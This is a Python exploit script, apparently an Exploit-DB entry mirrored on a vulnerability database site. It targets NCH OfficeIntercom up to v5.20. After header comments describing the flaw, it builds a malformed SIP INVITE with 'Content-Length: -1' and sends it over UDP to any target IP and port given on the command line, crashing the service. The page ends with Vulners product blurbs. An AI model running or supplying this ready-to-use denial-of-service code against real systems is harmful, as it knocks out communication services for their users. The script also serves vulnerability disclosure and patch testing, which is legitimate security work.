#!/usr/bin/python
# Exploit Title: NCH Officeintercom <= v5.20 Remote Denial of Service Vulnerability
# Date: 11/24/2010
# Author: xsploited security
# URL: http://www.x-sploited.com/
# Contact: xsploitedsecurity [at] x-sploited.com
# Software Link: http://www.nch.com.au/oi/oisetup.exe
# Version: <= v5.20
# Tested on: Windows XP SP3
# CVE : N/A
### Software Description: ###
# Officeintercom lets you use your PC, Pocket PC and Smartphone to speak to others over the internet or a local area
# network with simple "push-to-talk" technology. It works as a virtual IP intercom and feels a little like using a CB
# radio.
# Talk to anyone else who has installed OfficeIntercom anywhere in the world from your PC or Pocket PC device. OfficeIntercom
# is designed to be fast and easy to use and, in an office environment, no cabling is be required to run OfficeIntercom
# because it uses the existing computer network.
### Exploit information: ###
# NCH Office Intercom is prone to a remote denial of service attack when parsing a maliscous SIP invite request.
# If the Content-Length field has a value of -1 (or a large integer such as 3645363) the server will crash due to a NULL pointer
# reference, causing an access violation.
### Shouts: ###
# kaotix, MaX, corelanc0d3r/corelan team, exploit-db, packetstormsecurity, all other infosec researchers and websites
#
# "When you know that you're capable of dealing with whatever comes, you have the only security the world has to offer."
# -Harry Browne
###
import sys,socket
if len(sys.argv) < 2:
print "[!] Error, Usage: " + sys.argv[0]+ " <Target IP> [Port]"
sys.exit(1)
about = "================================================\n"
about += "Title: Officeintercom <= v5.20 Remote DoS POC\n"
about += "Author: xsploited security\nURL: http://www.x-sploited.com/\n"
about += "Contact: xsploitedsecurity [at] gmail.com\n"
about += "Shouts: kAoTiX, MaX, corelanc0d3r/corelan team,\nexploit-db, packetstormsecurity, and all other sites\n"
about += "================================================\n"
print about
host = sys.argv[1]
if len(sys.argv) > 2:
port = int(sys.argv[2])
else:
port = 5060 #Default
payload = ("INVITE sip:105@" + host + " SIP/2.0\r\n"
"To: <sip:" + host + ":5060>\r\n"
"Via: SIP/2.0/UDP localhost:10000\r\n"
"From: \x22xsploitedsec\x22<sip:" + host + ":10000>\r\n"
"Call-ID: f81d4fae7dec11d0a76500a0c91e6bf6@localhost\r\n"
"CSeq: 1 INVITE\r\n"
"Max-Forwards: 70\r\n"
"Content-Type: application/sdp\r\n"
"Content-Length: -1\r\n\r\n");
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print "[*] Sending evil SIP request to " + host + ":" + str(port)
s.sendto(payload,(host,port))
print "[*] Data sent successfully"
print "[*] Exiting..."
s.close()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation